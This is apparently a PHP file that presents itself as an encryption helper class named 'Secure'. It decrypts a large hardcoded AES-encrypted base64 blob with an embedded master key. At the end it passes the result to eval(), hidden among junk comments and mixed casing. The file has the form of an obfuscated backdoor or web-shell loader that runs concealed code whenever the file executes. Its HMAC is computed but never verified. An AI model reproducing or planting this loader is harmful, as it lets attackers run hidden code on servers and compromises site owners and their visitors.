<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
/*1747444227 AMDL*/eVaL(/*Super*/
/*saltLength*/$decrypted/*13840*/);